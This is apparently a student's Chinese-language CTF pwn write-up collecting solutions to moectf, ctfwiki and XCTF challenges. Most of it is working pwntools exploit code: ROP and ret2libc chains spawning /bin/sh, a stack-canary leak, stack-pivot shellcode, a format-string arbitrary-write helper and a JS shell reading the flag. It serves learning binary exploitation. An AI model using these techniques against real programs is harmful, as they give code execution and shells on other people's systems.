主要是大二上刚开学做的题
2020moectf部分pwn
rop1
wp:
1 2 3 4 5 6 7 8 9 10 11 12 13
| from pwn import *
sh = process('./rop1')
sys = 0x400670 binsh = 0x00601070
p = 'a'*136 + p64(0x0400933) + p64(binsh) + p64(sys)
sh.sendline(p) sh.interactive()
|
需要注意到,这题是x64的,跟x86的做法(ctfwiki-basicROP-ret2libc1)有些不同。
x64调用函数传递参数时先使用rdi、rsi、rdx、rcx、r8、r9(储存整数和指针)等,再用栈
rop2
wp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| from pwn import *
sh = process('./rop2')
sys = 0x0400670 gets = 0x04006b0 pop_rdi = 0x0400933 bss = 0x006010A8
p = 'a'*136 + p64(pop_rdi) + p64(bss) + p64(gets) + p64(pop_rdi) + p64(bss) + p64(sys)
sh.sendline(p) sh.sendline('/bin/sh') sh.interactive()
|
卡在少了最开始的p64(pop_rdi) + p64(bss)
学长的解释是:
1
| 改变rdi的gadget地址 使其指向bss段的那个地址
|
unusual
用alpha3弄出一个Alphanumeric Shellcode
1 2 3 4 5 6 7 8 9
| from pwn import * context.arch='amd64' sc = shellcraft.sh() print asm(sc)
python sc.py > sc
python alpha3/ALPHA3.py x64 ascii mixedcase rax --input="sc"
|
hard_shelcode
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| from pwn import *
context.arch = "amd64" sh = process("./hard_shellcode") sc = asm(shellcraft.sh())
sub_rsp = asm('sub rsp, 64') jmp_rsp = asm('jmp rsp') gadget = 0x04000EA
payload = sc + 'a'*(64-len(sc)) + sub_rsp + jmp_rsp + 'b'*(8-len(sub_rsp)-len(jmp_rsp)) + gadget
sh.sendline(payload)
sh.interactive()
|
用gadget跳转到"sub_rsp,jmp_rsp"然后执行sc(shellcode)
baby_migration
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| from pwn import * context(os='linux',arch='amd64') p = process("./baby_migration")
gets = 0x4011C8 rbp = 0x404060
shell = '\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05'
payload1 = "a"*0x30 + p64(rbp+300) + p64(gets) payload2 = shell + 'b'*(0x30-len(shell)) + p64(rbp ) + p64(rbp+300-0x30) p.recv() p.sendline(payload1) p.recv() sleep(0) p.sendline(payload2) p.interactive()
|
https://bbs.pediy.com/thread-258030.htm
https://blog.csdn.net/yuanyunfeng3/article/details/51456049
1
| 栈迁移 的核心思想就是 将栈 的 esp 和 ebp 转移到一个 输入不受长度限制的 且可控制 的 址处,通常是 bss 段地址! 在最后 ret 的时候 如果我们能够控制得 了 栈顶 esp指向的地址 就想到于 控制了 程序执行流!
|
用pwntolls生成的shellcode执行不了,可能是因为太长?
baby_canary
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
| from pwn import *
p = remote('sec.arttnba3.cn',10003)
elf = ELF("./baby_canary") libc = ELF("/home/pluto/Desktop/libc.so.6")
puts_got = elf.got['puts'] puts_plt = elf.plt['puts'] start = elf.symbols['_start']
p.recv() payload1 = 'a'*0x41 p.send(payload1) p.recvuntil(payload1)
canary = u32('\x00'+p.recv(3)) p.recv() payload2 = 'b'*0x40 + p32(canary) + 'b'*8 + 'a'*4 + p32(puts_plt) + p32(start) + p32(puts_got) p.send(payload2) p.recvuntil("flag!\n")
puts_addr = u32(p.recv(4))
base_addr = puts_addr - libc.sym['puts'] sys_addr = base_addr + libc.sym['system'] binsh = base_addr + libc.search('/bin/sh').next()
p.send(payload1) payload3 = 'b'*0x40 + p32(canary) + 'b'*0xc + p32(sys_addr) + 'a'*4 + p32(binsh) p.send(payload3)
p.interactive()
|
在覆盖’\x00’得到canary时不能用sendline
这题在本地弄不出来,在远程上就可以。发现是用的libc不一样,本机为libc6-i386_2.21-0ubuntu4_amd64,服务器上是libc6-i386_2.23-0ubuntu11.2_amd64
ctfwiki
ROP
ret2libc3
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| from pwn import * p = process("./ret2libc3") elf = ELF("./ret2libc3") p.recv() stack = 'a'*112 puts_plt = elf.plt["puts"] main_plt = elf.symbols["_start"] puts_got = elf.got['puts']
payload1 = stack + p32(puts_plt) + p32(main_plt) + p32(puts_got) p.sendline(payload1) recv1 = u32(p.recv()[0:4])
print("puts.got_addr= ",hex(recv1))
puts_offset = 0x05fcb0 sys_offset = 0x03adb0 binsh_offset = 0x15bb0b
libc_base = recv1 - puts_offset sys_addr = libc_base + sys_offset binsh = libc_base + binsh_offset
payload2 = stack + p32(sys_addr) + 'b'*4 + p32(binsh)
p.sendline(payload2) p.interactive()
|
libc 对应的是libc6_2.23-0ubuntu11.2_i386,对此是完全没想到的…
讲的挺好的https://www.jianshu.com/p/83f55c55c173
XCTF进阶
实时数据监测
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| from pwn import * context(os='linux',arch='amd64') p = remote("220.249.52.133", 35866)
def fmt(prev, word, index): if prev < word: result = word - prev fmtstr = "%" + str(result) + "c" elif prev == word: result = 0 else: result = 256 + word - prev fmtstr = "%" + str(result) + "c" fmtstr += "%" + str(index) + "$hhn" return fmtstr
def fmt_str(offset, size, addr, target): payload = "" for i in range(4): if size == 4: payload += p32(addr + i) else: payload += p64(addr + i) prev = len(payload) for i in range(4): payload += fmt(prev, (target >> i * 8) & 0xff, offset + i) prev = (target >> i * 8) & 0xff return payload payload = fmt_str(12,4,0x0804a048,0x02223322)
p.sendline(payload) p.interactive()
|
https://www.dazhuanlan.com/2019/11/07/5dc3d67635dfe/
用ctfwiki提供的脚本比较快,自己试挺麻烦的…(还是不太熟练
welpwn
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40
| from pwn import * context.log_level = 'debug' context(os='linux',arch='amd64')
p = remote("220.249.52.133", 32410) elf = ELF("./8")
write_got = elf.got['write'] puts_plt = elf.plt['puts']
sys_off = 0x045390 write_off = 0x0f72b0 binsh_off = 0x18cd57
pop = 0x40089c pop_rdi = 0x04008a3
p.recv()
payload = "a"*0x18 + p64(pop) + p64(pop_rdi) + p64(write_got) + p64(puts_plt) + p64(0x4007CD)
p.sendline(payload)
print p.recvuntil("\x40") write_addr = u64(p.recv(6).ljust(8,'\00')) write_addr = int(write_addr) print write_addr base = write_addr - write_off sys = base + sys_off binsh = binsh_off + base
payload2 = "a"*0x18 + p64(pop) + p64(pop_rdi) + p64(binsh) + p64(sys)
p.recv() p.sendline(payload2)
p.interactive()
|
好像服务器上和本地程序用的libc又不一样…所以连接完远程服务器后再获得一次write的got表,然后找到libc版本
主要学到了这个方法:
1
| write_addr = u64(p.recv(6).ljust(8,'\00'))
|
将接收到的数字左对齐,并用’\00’填充为8位,
参考:https://muzibing.github.io/2020/06/12/2020.06.12(125)
monkey
考察js shell
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| pluto@pluto-virtual-machine:~/Desktop$ nc 220.249.52.133 56451 js> os.system("pwd") os.system("pwd") /home/ctf js> os.system("ls") os.system("ls") bin dev flag js lib lib32 lib64 libnspr4.so libplc4.so libplds4.so run.sh js> os.system("cat flag") os.system("cat flag") cyberpeace{xxxxxxx}
|